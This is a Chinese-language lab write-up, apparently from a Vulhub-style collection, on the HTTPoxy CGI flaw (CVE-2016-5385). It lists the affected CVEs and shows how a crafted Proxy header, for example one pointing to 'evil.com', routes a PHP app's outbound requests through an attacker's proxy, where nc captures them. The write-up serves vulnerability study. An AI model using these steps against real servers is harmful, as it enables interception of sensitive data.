Skip to content

Latest commit

 

History

History
62 lines (39 loc) · 2.7 KB

HTTPoxy CGI 漏洞 CVE-2016-5385.md

File metadata and controls

62 lines (39 loc) · 2.7 KB

HTTPoxy CGI 漏洞 CVE-2016-5385

漏洞描述

根据RFC 3875规定,CGI(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。

参考链接:

影响版本

该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。CVE-2016-5385是PHP的CVE,HTTPoxy所有的CVE编号如下:

  • CVE-2016-5385: PHP
  • CVE-2016-5386: Go
  • CVE-2016-5387: Apache HTTP Server
  • CVE-2016-5388: Apache Tomcat
  • CVE-2016-6286: spiffy-cgi-handlers for CHICKEN
  • CVE-2016-6287: CHICKEN’s http-client
  • CVE-2016-1000104: mod_fcgi
  • CVE-2016-1000105: Nginx cgi script
  • CVE-2016-1000107: Erlang inets
  • CVE-2016-1000108: YAWS
  • CVE-2016-1000109: HHVM FastCGI
  • CVE-2016-1000110: Python CGIHandler
  • CVE-2016-1000111: Python Twisted
  • CVE-2016-1000212: lighttpd

环境搭建

Vulhub启动一个基于PHP 5.6.23 + GuzzleHttp 6.2.0的应用:

docker-compose up -d

Web页面原始代码:index.php

漏洞复现

正常请求http://your-ip:8080/index.php,可见其Origin为当前请求的服务器,二者IP相等:

image-20230418152204987

在其他地方启动一个可以正常使用的http代理,如http://*.*.122.65:8888/

附带Proxy: http://*.*.122.65:8888/头,再次访问http://your-ip:8080/index.php

image-20230418152215384

如上图,可见此时的Origin已经变成*.*.122.65,也就是说真正进行HTTP访问的服务器是*.*.122.65,也就是说*.*.122.65已经将正常的HTTP请求代理了。

*.*.122.65上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:

image-20230418152222274